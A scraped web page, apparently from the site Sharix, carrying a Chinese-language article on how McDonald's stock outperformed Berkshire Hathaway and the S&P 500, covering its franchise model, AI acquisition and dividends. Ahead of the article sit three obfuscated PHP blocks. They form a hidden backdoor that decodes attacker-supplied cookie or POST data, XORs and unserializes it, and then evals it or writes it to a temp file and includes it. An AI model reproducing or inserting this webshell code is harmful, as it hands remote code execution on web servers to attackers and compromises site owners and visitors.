$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}
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一家快餐店竟然能打趴“股神”巴菲特和标普500指数!? - Sharix

一家快餐店竟然能打趴“股神”巴菲特和标普500指数!?

相信读者们对麦当劳这个品牌再熟悉不过吧。麦当劳的汉堡薯条陪伴了笔者大学无数熬夜读书的日子。麦当劳是全球最大的连锁速食企业。如果投资者在2000年投资了价值RM10,000的麦当劳股票,那么截至2021年,他所持有的这批麦当劳股票价值竟然增长到RM134,376,年化增长率(CAGR) 高达13.17%。如下图所示,麦当劳的年化增长率成功打败了巴菲特股神 (Warren Buffett) 所掌管的波克夏海瑟威(Berkshire Hathaway) 以及作为美股风向标的标准普尔500指数。

一家快餐连锁店的股价表现竟然能打败巴菲特的生意王国,到底是什么成就了麦当劳呢?一切终归生意模式。麦当劳的餐厅商业模式主要分成四种:外国附属公司、授权经营、常规特许经营和公司直营。公司直营指的是由麦当劳总公司直接营运的分店,而这写分店大概占麦当劳整体餐厅数量的7%,剩下的93%则由外国附属公司、授权经营和常规特许经营所掌管。外国附属公司、授权经营和常规特许经营这三种类型均为加盟商,这三种商业模式唯一不同的特点就是收费方式不一样。直营店是麦当劳自己经营的餐厅,因此主要收入来自于汉堡、薯条和可乐,而麦当劳加盟店的营收来源主要来自授权金,租金和保证金。

麦当劳的营收部分从2011年到2020逐年下跌,但是相反地,公司的毛利率却逐年上升。麦当劳的策略是积极的降低毛利率较低的公司直营数量,并加倍发展毛利率较高的加盟店经营模式,有助于公司的长远发展。在麦当劳的改革计划中,其中一项目标是把麦当劳餐厅比例中的加盟商提高到95%, 目的是把营业利润率保持在一个上升轨道。在三种加盟店模式当中,特许经营是麦当劳近五年利润增长最大的驱动因素之一。从最新的财报来看,麦当劳约93%的收入是来自特许经营权。

从以下的股价图来看,麦当劳在2017年推出了速度增长计划 (Velocity Growth Plan )后,年初至今,它的的股价已上涨了将近100%。麦当劳的速度增长计划对它的特许经营业务的营业额递升有及其大的贡献。在这项战略中,麦当劳把重点专注在提升食物的口味,质量,顾客体验和点餐速度。

2019年3月,麦当劳收购了人工智能公司Dynamic Yield 。这项收购案超过了3亿美元,是麦当劳二十年来最贵一次的收购。Dynamic Yield 为麦当劳引入一种个性化和决策逻辑的技术,让麦当劳能够根据当天的时间点、天气和顾客点菜记录来推荐其他食品。顾客往往在这时候会在不知不觉中越点越多食物。麦当劳正在朝着自助化、智能化和个性化发展,笔者认为这些将会是接下来餐饮业未来所必须要搭上的趋势。

麦当劳是怎么回馈股东的呢?

麦当劳透过回购公司股票和股息发放来回馈股东。麦当劳是当之无愧的股息贵族,不仅支付股息而且已经自少连续44年增加派息的上市公司。在2020年,为了保留现金来应对新冠疫情危机,麦当劳暂停了总值150亿美元的股票回购计划。但是随着业务从疫情恢复,麦当劳即将重启回购计划,并提高季度股息。

最后,麦当劳是一家拥有强大护城河的公司,除了标志性的品牌以外,也有着比同行竞争者更丰厚的利润率及强大的自由现金流。尽管如此,麦当劳的估值并不便宜,目前的市盈率(PE Ratio)为 26倍,略高于市场19倍左右的平均水平。麦当劳第四季度业绩即将在1月27号出炉,根据2021年前三季所已公布的财报,麦当劳的业绩都成功打破市场预期,很少让股东们失望,那它是否能继续超预期吗?让我们拭目以待。

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